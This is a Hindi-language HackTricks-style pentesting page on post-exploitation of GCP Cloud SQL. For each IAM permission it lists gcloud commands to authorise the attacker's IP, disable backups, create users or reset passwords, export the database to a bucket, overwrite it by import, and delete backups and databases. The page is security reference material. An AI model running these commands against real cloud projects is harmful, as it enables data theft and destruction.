GCP - Cloud SQL Post Exploitation

हैकट्रिक्स का समर्थन करें

क्लाउड SQL

क्लाउड SQL के बारे में अधिक जानकारी के लिए देखें:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

डेटाबेस से कनेक्ट करने के लिए आपको बस डेटाबेस पोर्ट तक पहुंचने की आवश्यकता है और उपयोगकर्ता नाम और पासवर्ड पता होना चाहिए, कोई IAM आवश्यकताएं नहीं हैं। इसलिए, एक आसान तरीका तक पहुंचने के लिए, मान लें कि डेटाबेस का एक सार्वजनिक IP पता है, तो अनुमत नेटवर्क को अपडेट करें और अपने आईपी पते को पहुंचने की अनुमति दें

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

डेटाबेस की बैकअप को बाधित करने के लिए --no-backup का उपयोग भी संभव है।

ये आवश्यकताएं हैं, मुझे पूरी तरह से यह नहीं पता कि cloudsql.instances.connect और cloudsql.instances.login के अनुमतियाँ क्या हैं। अगर आप जानते हैं तो PR भेजें!

cloudsql.users.list

डेटाबेस के सभी उपयोगकर्ताओं की सूची प्राप्त करें:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

यह अनुमति डेटाबेस के अंदर नए उपयोगकर्ता बनाने की अनुमति देती है:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

यह अनुमति डेटाबेस के अंदर उपयोगकर्ता को अपडेट करने की अनुमति देती है। उदाहरण के लिए, आप इसका पासवर्ड बदल सकते हैं:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

बैकअप में पुरानी संवेदनशील जानकारी हो सकती है, इसलिए उन्हें जांचना दिलचस्प हो सकता है। डेटाबेस में एक बैकअप को पुनर्स्थापित करें:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

cloudsql.backupRuns.delete

इस अनुमति से बैकअप को हटाया जा सकता है:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

डेटाबेस को एक क्लाउड स्टोरेज बकेट में निर्यात करें ताकि आप वहां से इसका उपयोग कर सकें:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

डेटाबेस इम्पोर्ट (ओवरराइट) करें एक क्लाउड स्टोरेज बकेट से:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

डेटाबेस को डेटाबेस इंस्टेंस से हटाएं:

gcloud sql databases delete <db-name> --instance <instance-id>
हैकट्रिक्स का समर्थन करें

Last updated